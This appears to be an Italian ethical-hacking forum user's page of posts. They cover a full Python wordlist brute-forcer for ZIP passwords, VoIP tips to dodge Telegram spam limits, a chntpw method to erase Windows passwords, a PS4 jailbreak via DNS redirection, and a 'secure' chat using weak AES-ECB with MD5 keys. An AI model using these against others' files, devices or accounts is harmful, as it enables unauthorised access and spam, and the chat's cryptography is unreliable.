Samueleex

  • 4 giorni fa
  • Si è iscritto 15 apr 2022
  • 42 risposte migliori
  • EXP🧠 ➜ 17329
  • Front-End, Python, C++ developer appassionato alla Cybersecurity!💻🧠

  • In questa discussione vediamo come fare bruteforce ad un file .zip (protetto da password non AES) in modo da accedere ai contenuti protetti al suo interno.
    Il bruteforce è un tipo di attacco usato per scoprire password provando in modo automatizzato tutte le combinazioni fino a trovare quella corretta.

    Il tool è composto da main.py (la logica del bot) e gui_version.py che è un interfaccia grafica basata su tkinter.
    L'unico requisito da installare oltre a Python è tkinter, gli altri moduli sono già inclusi nella libreria standard di Python.

    Requisiti

    Per andare a scaricare la libreria in un ambiente virtuale:

    • python3 -m venv venv
    • source venv/bin/activate (Debian)
    • venv\Scripts\activate (WSL Windows)
    • sudo apt-get install python3-tk

    Codice

    Iniziamo a scrivere il main.py, le librerie necessarie:

    • os.path e os usate per mettere mano ai file system, in questo caso sfruttiamo os per confermare l'esistenza di percorsi di file.
    • zipfile per manipolare file .zip
    • itertools per la GUI

    Definiamo i colori in escape ANSI:

    GREEN = '\033[92m'
    RED = '\033[91m'
    PURPLE = '\033[95m'
    RESET = '\033[0m'

    Qui trovate una lista di colori completa.

    La prima cosa che deve fare il codice è cercare di estrarre il file zip (funzione extract_zip) per individuare il campo per fare bruteforce.
    Dopo aver letto la documentazione: zip_file.extractall(pwd=password.encode()).
    extractall cerca di estrarre tutti i file presenti nel file zip, il campo della password viene convertita in un byte string con .encode() per garantire in ogni caso un formato corretto.
    Se l'estrazione riesce ci restituisce true altrimenti false se tutti i tentativi sono sbagliati.

    Ora scriviamo la funzione brute_force per provare tutte le password di una wordlist.
    zipfile.ZipFile(zip_file_path) apre il file .zip specificato nel percorso zip_file_path.
    open(wordlist_path, 'r', encoding='latin-1') apre la wordlist con codifica latin-1 (da cambiare se usate wordlist differenti).
    passwords = f.readlines() legge tutte le righe all'interno della wordlist.
    Poi tramite il for password oltre a scorrere ogni riga, con password.strip() vengono rimossi spazi inutili e extract_zip(zip_file, password) viene ripetuto in continuazione per tentare di estrarre il file zip.

    Nel main viene gestito l'input e vengono verificati i parametri che fornisce l'utente.

    Ora vediamo la GUI, oltre alla libreria tkinter viene aggiunto anche subprocess. In questo caso usato per Popen che permette di eseguire lo script (main) in un processo separato in modo da prendere l'output.
    Guardando la documentazione ho mappato tutte le azioni di main.py.

    main.py

    import os.path
    import os
    import zipfile
    import itertools
    
    GREEN = '\033[92m'
    RED = '\033[91m'
    PURPLE = '\033[95m'
    RESET = '\033[0m'
    
    print(f"""{RED}
    
     _______ _____ ______ _______ _     _  ______ _    _ 
    (_______|_____|_____ (_______) |   | |/ _____) |  / )
       __      _   _____) )____  | |   | | /     | | / / 
      / /     | | |  ____/  ___) | |   | | |     | |< <  
     / /____ _| |_| |    | |     | |___| | \_____| | \ \ 
    (_______|_____)_|    |_|      \______|\______)_|  \_)
                                                         
    """)
    
    
    # apertura zip con psw
    def extract_zip(zip_file, password):
        try:
            zip_file.extractall(pwd=password.encode())
            return True
        except Exception:
            return False
    
    
    # bruteforce sincronizzato con extract_zip
    def brute_force(zip_file_path, wordlist_path):
        with zipfile.ZipFile(zip_file_path) as zip_file:
            with open(wordlist_path, 'r', encoding='latin-1') as f:
                passwords = f.readlines()
            print(f"{GREEN}Attempting to bruteforce the zip file{RESET}")
    
            for password in passwords:
                password = password.strip()
                print(f"Trying Password: {RED}{password}{RESET}")
                if extract_zip(zip_file, password):
                    print(f"\n{GREEN}Password found: {PURPLE}{password}{RESET}")
                    return
            print("Password not found in wordlist.")
    
    def main():
        print(
            f"{PURPLE}NOTE : {RESET}{GREEN}This Tool only works with {RED}'ZIP Legacy Encryption'{RESET}")
        print(f"{GREEN}Welcome to ZipFuck! {RED}EHF{RESET}")
        print(f"{GREEN}Please provide the path to the zip file and the wordlist.{RESET}")
    
        while True:
            zip_file_path = input(f"{PURPLE}Enter the path to the zip file: {RESET}")
            print(f"{GREEN}({RED}To Use the default wordlist type:{PURPLE}  rockyou.txt{GREEN})")
            wordlist_path = input(f"{PURPLE}Enter the path to the wordlist: {RESET}")
    
            if not os.path.exists(zip_file_path) or not os.path.exists(wordlist_path):
                print(f"{PURPLE}Please specify a valid path. {RESET}")
            else:
                break
    
        print(f"{RED}\nStarting brute force attack...\n{RED}")
        brute_force(zip_file_path, wordlist_path)
    
    if __name__ == "__main__":
        main()

    gui_version.py

    import os
    import tkinter as tk
    from tkinter import filedialog, messagebox
    from subprocess import Popen, PIPE
    
    from main import main
    
    window = tk.Tk()
    window.title("ZipFuck by EHF")
    window.configure(bg="#34495E")
    
    def run_cli_version():
        process = Popen(["python", "main.py"], stdout=PIPE, stderr=PIPE)
        stdout, stderr = process.communicate()
        output_text.insert(tk.END, stdout.decode(), "output")
        output_text.insert(tk.END, stderr.decode(), "output")
    
    def select_zip_file():
        zip_file_path = filedialog.askopenfilename(title="Select Zip File", filetypes=[("Zip files", "*.zip")])
        zip_file_entry.delete(0, tk.END)
        zip_file_entry.insert(0, zip_file_path)
    
    def select_wordlist():
        wordlist_path = filedialog.askopenfilename(title="Select Wordlist", filetypes=[("Text files", "*.txt")])
        wordlist_entry.delete(0, tk.END)
        wordlist_entry.insert(0, wordlist_path)
    
    def strip_ansi_escape_codes(text):
        import re
        ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[-/]*[@-~])')
        return ansi_escape.sub('', text)
    
    def start_bruteforce():
        zip_file_path = zip_file_entry.get()
        wordlist_path = wordlist_entry.get()
        bruteforce_inprogress.grid(row=5, columnspan=3)
        window.update()
        if os.path.exists(zip_file_path) and os.path.exists(wordlist_path):
            process = Popen(["python", "main.py"], stdin=PIPE, stdout=PIPE, stderr=PIPE)
            stdout, stderr = process.communicate(f"{zip_file_path}\n{wordlist_path}\n".encode())
            output_text.insert(tk.END, strip_ansi_escape_codes(stdout.decode()), "output")
            output_text.insert(tk.END, strip_ansi_escape_codes(stderr.decode()), "output")
            output_text.see(tk.END)
        else:
            messagebox.showwarning("Warning", "Please select both a zip file and a wordlist.")
    
    def on_enter(e):
        e.widget['background'] = '#16A085'  # Lighter green
    
    def on_leave(e):
        e.widget['background'] = '#1ABC9C'  # Original green
    
    # Shows the Disclaimer of this program
    title_label = tk.Label(window,
                           text="This Tool only works with 'ZIP Legacy Encryption'\n"
                                "ethicalhacking.freeflarum.com",
                           bg="#34495E", fg="#ECF0F1", font=("Helvetica", 12, "bold"))
    title_label.grid(row=0, columnspan=3, pady=(10, 0))
    
    zip_file_label = tk.Label(window, text="Zip File:", bg="#34495E", fg="#ECF0F1", font=("Helvetica", 10))
    zip_file_label.grid(row=1, column=0, sticky="e")
    zip_file_entry = tk.Entry(window, width=50, highlightbackground="#1ABC9C", highlightthickness=2, relief="flat",
                              font=("Helvetica", 10))
    zip_file_entry.grid(row=1, column=1, padx=5, pady=5)
    zip_file_button = tk.Button(window, text="Browse", command=select_zip_file, bg="#1ABC9C", fg="#ECF0F1",
                                activebackground="#16A085", relief="flat", borderwidth=0, padx=10, pady=5, 
                                font=("Helvetica", 10, "bold"))
    zip_file_button.grid(row=1, column=2, padx=5, pady=5)
    
    wordlist_label = tk.Label(window, text="Wordlist:", bg="#34495E", fg="#ECF0F1", font=("Helvetica", 10))
    wordlist_label.grid(row=2, column=0, sticky="e")
    wordlist_entry = tk.Entry(window, width=50, highlightbackground="#1ABC9C", highlightthickness=2, relief="flat",
                              font=("Helvetica", 10))
    wordlist_entry.grid(row=2, column=1, padx=5, pady=5)
    wordlist_button = tk.Button(window, text="Browse", command=select_wordlist, bg="#1ABC9C", fg="#ECF0F1",
                                activebackground="#16A085", relief="flat", borderwidth=0, padx=10, pady=5,
                                font=("Helvetica", 10, "bold"))
    wordlist_button.grid(row=2, column=2, padx=5, pady=5)
    
    start_button = tk.Button(window, text="Start Bruteforce", command=start_bruteforce, bg="#E67E22", fg="#ECF0F1",
                             activebackground="#D35400", relief="flat", borderwidth=0, padx=10, pady=10,
                             font=("Helvetica", 12, "bold"))
    start_button.grid(row=3, columnspan=3, pady=10)
    
    # Button to run CLI version
    run_cli_button = tk.Button(window, text="Run CLI Version", command=run_cli_version, bg="#E67E22", fg="#ECF0F1",
                               activebackground="#D35400", relief="flat", borderwidth=0, padx=10, pady=10,
                               font=("Helvetica", 12, "bold"))
    run_cli_button.grid(row=4, columnspan=3, pady=10)
    
    # Text widget to display output
    output_text = tk.Text(window, height=10, width=70, bg="#2C3E50", fg="#ECF0F1", font=("Helvetica", 12, "bold"), 
                          highlightbackground="#1ABC9C", highlightthickness=2, relief="flat", padx=5, pady=5)
    output_text.grid(row=6, columnspan=3, padx=10, pady=10)
    output_text.tag_configure("output", foreground="#ECF0F1")
    
    bruteforce_inprogress = tk.Label(window,
                                     text="Bruteforce Attack is Activated in the Background\n "
                                          "You will be Notified after the attack is completed",
                                     bg="#34495E", fg="#ECF0F1", font=("Helvetica", 10))
    
    for button in [zip_file_button, wordlist_button, start_button, run_cli_button]:
        button.bind("<Enter>", on_enter)
        button.bind("<Leave>", on_leave)
    
    window.mainloop()
    
    if __name__ == "__main__":
        main()

    Qui sotto trovate la repo del tool, ho incluso la wordlist (RockYou non completa) e per chi non vuole installare Python la GUI convertita in exe tramite pyinstaller che purtroppo VirusTotal lo riconosce come trojan (link analisi). Chiaramente un falso positivo.

    GITHUB LINK!

  • TakeMe Come da disclaimer:

    Vi consiglio di NON utilizzare il vostro account principale in quanto Telegram ha dei sistemi anti-spam che lo limitano per un tot di tempo, non permettendo più di inviare messaggi ad utenti al di fuori dei contatti.
    Se avete il presentimento di essere limitati vi basta contattare "@SpamBot", lanciato il comando /start vi dovrà rispondere: "Good news, no limits are currently applied to your account. You’re free as a bird!"
    Per risolvere il problema vi basta usare un VoIP (che offre un numero di telefono secondario), già menzionati qui.

    Questo tool (come si può notare dal video), l'ho usato senza problemi sul mio account principale solo per lo scraping di gruppi. Nell'aggiunta di persone da un gruppo all'altro se esagerata si riceve una limitazione. In questo caso, almeno per le prime volte Telegram limita ma non banna.
    Se hai usato un VoIP la situazione potrebbe cambiare perché Telegram molto probabilmente ne è consapevole.

    • Esatto!! Aggiungo anche che se non avete particolari esigenze al posto di usare "media" si potrebbe usare anche srcset, facendo decidere al browser l'immagine più appropriata in base alla risoluzione dello schermo e alla dimensione del viewport.
      Esempio:

      <img 
          src="parrot-home.png" 
          srcset="parrot-home-small.png 400w, parrot-home-medium.png 800w, parrot-home-large.png 1200w" 
          sizes="(max-width: 768px) 100vw, (max-width: 1200px) 50vw, 400px" 
          alt="Parrot OS Home Edition wallpaper">

      Si può intuire che srcset funziona mappando le risoluzioni, in questo modo verranno adattate di conseguenza!

    • AGGIORNAMENTO

      Il metodo descritto sopra è stato patchato nelle versioni più recenti di Windows.

      Possiamo arrivare allo stesso risultato usando Linux in dual boot andando a spulciare i filesystem di Windows tramite un tool per sovrascrivere la password.

      Iniziamo rendendo avviabile una chiavetta in modo da avviare Linux in dual boot, vi consiglio un sistema operativo leggero basato su Debian dato che non abbiamo troppe esigenze (ad esempio Linux Mint).
      Scarichiamo l'ISO del sistema operativo (download diretto).

      Altro requisito è Rufus per rendere avviabile la chiavetta con l'ISO.

      Impostazioni da inserire:

      Ora spostiamoci nel PC dove non ci ricordiamo la password e dopo aver premuto il tasto di accensione premete ripetutamente il tasto per entrare nel boot menu, i più popolari sono F9 e F12 ma qui potete trovare una tabella molto completa che potrebbe aiutarvi.

      Entrati nel boot menu selezionate la vostra chiavetta, se non la vedete probabilmente avete il bios impostato su UEFI, dal bios (sezione boot) impostate Legacy che supporta hardware più vecchi.

      Dopo aver avviato Linux Mint rechiamoci sul terminale e prima di impazzire per trovare i caratteri speciali corretti impostiamo la tastiera italiana: setxkbmap it

      Privilegi di root:
      sudo su

      Installiamo il tool per sovrascrivere la password:
      sudo apt install chntpw

      Ora dobbiamo scoprire il nome del disco (dove è installato Windows):
      fdisk -l
      Se avete solo Windows installato, per non complicarvi la vita vi consiglio di confrontare il numero di memoria indicato con quello del vostro hard disk o SSD.

      Prima di eseguire azioni troppo invasive se non vi fidate e avete dati molto importanti vi consiglio di salvare i dati da qui.
      Per accedere ai file di Windows andiamo a montare il disco:
      mount -t ntfs /dev/sda /mnt

      In questo modo abbiamo creato la cartella mnt, accessibile:
      cd /mnt

      Ora che siamo nella cartella vediamo i file salvati con ls, ora potete salvarli in un'altra pennetta.

      Lavoriamo sui file log "SAM", accennati nella discussione per il tool "John the Ripper".

      Andiamo ad eseguire il tool chntpw scaricato in precedenza per vedere delle informazioni sull'utente:
      chntpw -u test SAM

      Se l'utente è proprio quello che ci interessa digitate "1" sul terminale che corrisponde a pulire la vecchia password.

      Operazione completata! Dopo il riavvio della macchina il computer sarà privo di password.

    • In questa guida vedremo come restaurare una PS4: pulizia, cambio pasta termica, jailbreak e installazione di Linux.

      Materiale necessario:

      • Alcool isopropilico per elettronica
      • Cacciaviti torx e a stella
      • Pasta termica (nel mio caso ho usato la Arctic MX-6)
      • Molta carta o panni in microfibra per la pulizia
      • (Opzionale ma consigliato) pennelli e aria compressa

      Cambio pasta termica e pulizia:

      Iniziamo dando una bella pulita, la plastica esterna si può rimuovere facendo leva dopo aver tolto le viti e sigilli di garanzia dietro alla scocca.

      Rimosse le scocche iniziamo a smontare la batteria, importante sfilarla senza fare leva per non rovinare i connettori.

      Da rimuovere anche i connettori:

      Scollego anche questo cavo a nastro per rimuovere il modulo bluetooth.

      Risultato:

      Ora giriamo la PS4 e iniziamo a svitare tutte le viti che fissano la scocca grigia (sfilate anche l'hard disk e il pulsante di accensione per non perderlo).

      Ora se sollevate la scheda madre si può ben notare la vecchia pasta termica.
      Dopo aver pulito con l'alcool isopropilico:

      Rimontiamo tutto seguendo i passaggi descritti prima.

      Jailbreak PS4

      Il jailbreak di base è un operazione non autorizzata che permette di rimuovere delle limitazioni software imposte da Sony.
      Non tutte le versioni permettono questo tipo di modifiche pertanto noi andremo ad aggiornare la console alla versione 9.00.

      Requisiti:

      • Computer esterno
      • Chiavetta da almeno 4gb

      Versione 9.00 della console

      Se avete già la console a questa versione potete saltare questo passaggio.
      Per controllare la versione della nostra console dobbiamo recarci su sistema > informazioni di sistema:

      Dopo aver controllato la versione, disabilitate il wifi dalla sezione "rete" delle impostazioni e disabilitate gli aggiornamenti automatici: sistema > downloads automatici e togliete tutte le spunte.

      Ora spostiamoci sul PC e scarichiamo Rufus per formattare la chiavetta in modo corretto e il PS4 9.00 firmware.
      Andiamo a formattare la chiavetta in formato exFAT tramite Rufus.
      Dopo aver formattato la chiavetta creiamo una cartella PS4 e un'ulteriore sottocartella UPDATE e mettiamo il firmware scaricato come in foto:

      Il prossimo passo sarà cambiare il DNS per indirizzare il traffico fuori dai server Sony, in questo modo possiamo accedere all'interfaccia che ci permette il Jailbreak.

      Rechiamoci sulle impostazioni della PS4 > Rete > (abilitiamo la rete) > Configura rete > scegliere se LAN o wifi > personalizzato > automatico > non specificato > dns manuale: 165.227.83.145, 192.241.221.79.
      Per provare il funzionamento recatevi nel browser e verificate se le pagine si caricano.

      Spostiamoci sul PC e scarichiamo l'exploit img che ci permetterà di effettuare il vero jailbreak.
      Apriamo Rufus e selezioniamo il file appena scaricato e iniziamo a formattare la chiavetta:

      Dopo quest'operazione è normale che il computer non riesca a leggere normalmente la nostra chiavetta, vi basterà rimuoverla.

      Per effettuare il jailbreak rechiamoci nella sezione "guida" dalle impostazioni, si aprirà un sito non ufficiale grazie al cambio di DNS.

      Clicchiamo sulla sezione 9.00 e avviamo la voce GoldHen, dopo pochi secondi dovrà apparire sullo schermo:

      Inserite la USB appena creata dal PC e lasciatela per almeno 30 secondi, cliccate "ok" e se tutto è stato eseguito in modo corretto riceverete la notifica "GoldHEN loaded".

      Installazione di Linux:

      Dopo aver eseguito il Jailbreak della PS4 dovremo essere in grado di lanciare il payload per caricare la nostra distro Linux.

      Per prima cosa dovrete recarvi nelle informazioni della PS4 e verificare che il Southbridge sia attivo:

      (Segnatevi anche l'IP della terza riga per la futura connessione FTP).

      Requisiti da scaricare:

      Dalle impostazioni del nostro Jailbreak GoldHen verifichiamo di avere un tunnel FTP attivo:

      Impostazioni della PS4:

      Impostazioni video > risoluzione non superiore a 1080p (raccomandata):

      RGB Range: limitato o completo.

      Sistema e disabilitate HDMI device link e HDCP:

      Installare Linux nell'hard disk:

      Apriamo il nostro client FTP (FileZilla) e connettiamoci all'ip della PS4 su porta 2121:

      Ora andiamo su: user > system > create una cartella di nome "boot".
      All'interno di boot copiamo initramfs, bzimage e la distro:

      Dopo aver aperto il browser della PS4 apriamo il sito di kme sulla sezione payloads:

      Per l'installazione è consigliato avviare la versione da 1gb di VRAM.

      Dopo averlo avviato (circa dopo 30 secondi):

      Per l'installazione vera e propria:
      exec install-linux-hdd.sh

      Risultato:

      Installazione da chiavetta

      Molto simile alle istruzioni per installarlo sull'HDD con la differenza che dobbiamo mettere nella chiavetta i file bzimage, initramfs e la distro in formato FAT32.

      Dopo aver inserito la chiavetta lanciamo il payload dal sito kme:

      Digitiamo questa riga di comando:
      exec install-psxitarch.sh

      Tips Linux

      Per aggiornare la distro è sconsigliato il classico sudo apt-get update && sudo apt get upgrade dato che potrebbe andare in conflitto con i driver e sovrascriverli.
      Per evitare problemi è da escludere questi pacchetti: sudo dnf update -x kernel*,mesa*, libdrm*, xorg-x11-drv-a
      Ora per installare programmi:
      sudo dnf install "nome"

      Vi consiglio anche di fare uno swap di memoria per aiutare la RAM in caso volessimo giocare con emulatori da Linux o lavorare con programmi pesanti.
      Per verificare lo swap e le varie memorie è utile installare htop, quindi: sudo dnf install htop.
      Se lo avviate si può notare che lo swap è nullo.
      Per allocare spazio:
      sudo fallocate -1 1G /swapfile (Modifica lo spazio in base alle necessità)
      sudo chmod 600 /swapfile
      sudo mkswap /swapfile
      sudo swapon /swapfile
      sudo nano /etc/fstab

      Non si può accedere a Linux direttamente con il tasto di accensione, dovrete prima passare attraverso il sito di kme per avviare il payload.

      Se questa guida non funziona o ricevete errori della fase di boot dopo aver caricato il payload è al 99% un problema del kernel quindi provate e riprovate con bzimage diverse!

    • Oggi vedremo come creare una chat IRC in Python crossplatform semplice da usare e crittografata!
      IRC (Internet Relay Chat) è un protocollo usato per chat online sviluppato alla fine degli anni '80 e permette agli utenti di comunicare tramite canali e IP. Una chat IRC solitamente si appoggia su un server che gestisce le connessioni degli utenti e distribuisce i messaggi fra loro.
      L'idea è scrivere due file python server.py e client.py dove i messaggi scambiati tra client e server sono criptati utilizzando l'algoritmo di crittografia AES.

      server.py è lo script che ci permetterà di hostare la chat tramite la nostra macchina e con client.py abbiamo la possibilità di inviare messaggi.
      All'inizio importiamo le librerie necessarie come socket per la rete, Crypto.Cipher per la crittografia AES e hashlib per l'hashing delle password.
      Legge la configurazione da un file ircehf.conf per ottenere l'host, la porta, la password e altre impostazioni.
      All'interno del file ci sono varie funzioni per abbellire l'interfaccia come clear_screen, sigint_handler.
      hashercrea un hash MD5 della password per utilizzarlo come chiave AES.
      encrypte decrypt criptano e decriptano i messaggi usando AES in modalità ECB.
      chat_server crea un socket server, accetta connessioni dai client, riceve e decripta i messaggi, e li ritrasmette criptati a tutti i client connessi.
      broadcast invia un messaggio a tutti i client connessi, eccetto il mittente e il server stesso.
      Il server viene avviato richiamando chat_server.

      Requisiti:

      Libreria Pycryptodome installata su ambiente virtuale, segui i comandi sulla foto:

      server.py

      Andiamo ad importare le librerie necessarie:

      • configparser: per leggere configurazioni da un file.
      • base64: per codificare e decodificare i messaggi criptati.
      • sys, socket, select: moduli standard per interazioni di sistema e comunicazioni di rete.
      • Crypto.Cipher import AES: per la crittografia AES.
      • hashlib: per l'hashing delle password.
      • os: per operazioni di sistema come la pulizia dello schermo.
      • signal: per gestire segnali di interruzione (es Ctrl+C).

      In seguito restituisce il banner ASCII.
      sigint_handler gestisce l'interruzione dell'utente (Ctrl+C) stampando un messaggio e chiudendo il server.
      signal.signal registra sigint_handlercome gestore per SIGINT.
      hashercrea un hash MD5 di una stringa (password) utilizzando prima SHA-512.
      encrypt cripta i dati usando AES in modalità ECB e li codifica in base64.
      decryptdecripta i dati da base64 e li decripta usando AES in modalità ECB.
      config.read legge la configurazione dal file ircehf.conf.
      Estrae HOST, PORT, PASSWORD, VIEW e crea un hash della password.

      chat_server funzione principale del server:

      • Crea un socket.
      • Si mette il listening per connessioni e le aggiunge a SOCKET_LIST.
      • Usa select.select per gestire le letture/scritture sui socket.
      • Accetta nuove connessioni e riceve messaggi dai client.
      • Decripta i messaggi ricevuti, li recripta e li invia a tutti i client connessi.
      • Rimuove i client disconnessi dalla lista.
        broadcast: invia un messaggio a tutti i client connessi tranne al mittente.
      import configparser
      import base64
      import sys, socket, select
      from Crypto.Cipher import AES
      import hashlib
      import os
      import signal
      
      # Clear the screen based on the OS
      def clear_screen():
          if os.name == 'nt':  # For Windows
              os.system('cls')
          else:  # For Linux and Mac
              os.system('clear')
      
      clear_screen()
      
      print(r"""
      
       ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄  ▄         ▄  ▄▄▄▄▄▄▄▄▄▄▄ 
      ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌     ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌
       ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀      ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌       ▐░▌▐░█▀▀▀▀▀▀▀▀▀ 
           ▐░▌     ▐░▌       ▐░▌▐░▌               ▐░▌          ▐░▌       ▐░▌▐░▌          
           ▐░▌     ▐░█▄▄▄▄▄▄▄█░▌▐░▌               ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ 
           ▐░▌     ▐░░░░░░░░░░░▌▐░▌               ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
           ▐░▌     ▐░█▀▀▀▀█░█▀▀ ▐░▌               ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ 
           ▐░▌     ▐░▌     ▐░▌  ▐░▌               ▐░▌          ▐░▌       ▐░▌▐░▌          
       ▄▄▄▄█░█▄▄▄▄ ▐░▌      ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄      ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌       ▐░▌▐░▌          
      ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌     ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░▌          
       ▀▀▀▀▀▀▀▀▀▀▀  ▀         ▀  ▀▀▀▀▀▀▀▀▀▀▀       ▀▀▀▀▀▀▀▀▀▀▀  ▀         ▀  ▀           
                                                                                         
                        IRC chat sicura
                          Samueleex
      
      """)
      
      def sigint_handler(signum, frame):
          print('\n[error] user interrupt')
          print("[info] shutting down EHF-IRC \n\n")
          sys.exit()	
      
      signal.signal(signal.SIGINT, sigint_handler)
      
      def hasher(key):
          hash_object = hashlib.sha512(key.encode('utf-8'))
          hexd = hash_object.hexdigest()
          hash_object = hashlib.md5(hexd.encode('utf-8'))
          hex_dig = hash_object.hexdigest()
          return hex_dig	
      
      def encrypt(secret, data):
          BLOCK_SIZE = 32
          PADDING = '{'
          pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
          EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s).encode('utf-8'))).decode('utf-8')
          cipher = AES.new(secret.encode('utf-8'), AES.MODE_ECB)
          encoded = EncodeAES(cipher, data)
          return encoded
      
      def decrypt(secret, data):
          BLOCK_SIZE = 32
          PADDING = '{'
          DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).decode('utf-8').rstrip(PADDING)
          cipher = AES.new(secret.encode('utf-8'), AES.MODE_ECB)
          decoded = DecodeAES(cipher, data)
          return decoded
      
      config = configparser.RawConfigParser()   
      config.read(r'ircehf.conf')
      
      HOST = config.get('config', 'HOST')
      PORT = int(config.get('config', 'PORT'))
      PASSWORD = config.get('config', 'PASSWORD')
      VIEW = str(config.get('config', 'VIEW'))
      key = hasher(PASSWORD)
      SOCKET_LIST = []
      RECV_BUFFER = 4096
      
      def chat_server():
      
          server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
          server_socket.bind((HOST, PORT))
          server_socket.listen(10)
      
          SOCKET_LIST.append(server_socket)
      
          print("[Server] Started on port " + str(PORT))
      
          while 1:
      
              ready_to_read,ready_to_write,in_error = select.select(SOCKET_LIST,[],[],0)
      
              for sock in ready_to_read:
      
                  if sock == server_socket:
                      sockfd, addr = server_socket.accept()
                      SOCKET_LIST.append(sockfd)
                      print("[Server] User [(%s, %s)] connected" % addr)
                  else:
                      try:
                          data = sock.recv(RECV_BUFFER).decode('utf-8')
                          data = decrypt(key, data)
                          if data:
                              broadcast(server_socket, sock, encrypt(key, "\r" + data))
                              if VIEW == '1':
                                print(data)
                          else:
      
                              if sock in SOCKET_LIST:
                                  SOCKET_LIST.remove(sock)
      
                              broadcast(server_socket, sock, encrypt(key, "[Server] [(%s, %s)] Has left the server.\n" % addr))
      
                      except Exception as e:
                          print(f"Error: {e}")
                          broadcast(server_socket, sock, "[Server] User [(%s, %s)] is offline\n" % addr)
                          continue
      
          server_socket.close()
      
      def broadcast(server_socket, sock, message):
          for socket in SOCKET_LIST:
      
              if socket != server_socket and socket != sock :
                  try :
                      socket.send(message.encode('utf-8'))
                  except :
      
                      socket.close()
      
                      if socket in SOCKET_LIST:
                          SOCKET_LIST.remove(socket)
      
      if __name__ == "__main__":
      
          sys.exit(chat_server())

      client.py

      Importiamo le librerie necessarie:

      • base64: per codificare e decodificare i messaggi criptati.
      • sys, socket, select: moduli standard per interazioni di sistema e rete.
      • Crypto.Cipher import AES: per la crittografia AES.
      • os: per operazioni di sistema come la pulizia dello schermo.
      • hashlib: per l'hashing delle password.
      • signal: per gestire segnali di interruzione (es Ctrl+C).

      chat_client funzione principale del client:

      • Verifica il numero di argomenti immessi tramite input su terminale.
      • Estrae host, port, key e uname dagli argomenti della riga di comando.
      • Connette il socket al server.
      • Gestisce la ricezione e l'invio dei messaggi.
      • Cripta i messaggi prima di inviarli al server e decripta i messaggi ricevuti dal server.
      • Restituisce messaggi locali e ricevuti dal server su terminale.
      import base64
      import sys, socket, select
      from Crypto.Cipher import AES
      import os
      import hashlib
      import signal
      
      def clear_screen():
          if os.name == 'nt':  # For Windows
              os.system('cls')
          else:  # For Linux and Mac
              os.system('clear')
      
      clear_screen()
      
      print(r"""
      
       ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄  ▄         ▄  ▄▄▄▄▄▄▄▄▄▄▄ 
      ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌     ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌
       ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀      ▐░█▀▀▀▀▀▀▀▀▀ ▐░▌       ▐░▌▐░█▀▀▀▀▀▀▀▀▀ 
           ▐░▌     ▐░▌       ▐░▌▐░▌               ▐░▌          ▐░▌       ▐░▌▐░▌          
           ▐░▌     ▐░█▄▄▄▄▄▄▄█░▌▐░▌               ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ 
           ▐░▌     ▐░░░░░░░░░░░▌▐░▌               ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
           ▐░▌     ▐░█▀▀▀▀█░█▀▀ ▐░▌               ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ 
           ▐░▌     ▐░▌     ▐░▌  ▐░▌               ▐░▌          ▐░▌       ▐░▌▐░▌          
       ▄▄▄▄█░█▄▄▄▄ ▐░▌      ▐░▌ ▐░█▄▄▄▄▄▄▄▄▄      ▐░█▄▄▄▄▄▄▄▄▄ ▐░▌       ▐░▌▐░▌          
      ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░░░░░░░░░░░▌     ▐░░░░░░░░░░░▌▐░▌       ▐░▌▐░▌          
       ▀▀▀▀▀▀▀▀▀▀▀  ▀         ▀  ▀▀▀▀▀▀▀▀▀▀▀       ▀▀▀▀▀▀▀▀▀▀▀  ▀         ▀  ▀           
                                                                                         
                        IRC chat sicura
                          Samueleex
      
      """)
      
      def sigint_handler(signum, frame):
          print('\n[error] user interrupt')
          print("[info] shutting down EHF-IRC \n\n")
          sys.exit()
      
      signal.signal(signal.SIGINT, sigint_handler)
      
      def hasher(key):
          hash_object = hashlib.sha512(key.encode('utf-8'))
          hexd = hash_object.hexdigest()
          hash_object = hashlib.md5(hexd.encode('utf-8'))
          hex_dig = hash_object.hexdigest()
          return hex_dig
      
      def encrypt(secret, data):
          BLOCK_SIZE = 32
          PADDING = '{'
          pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
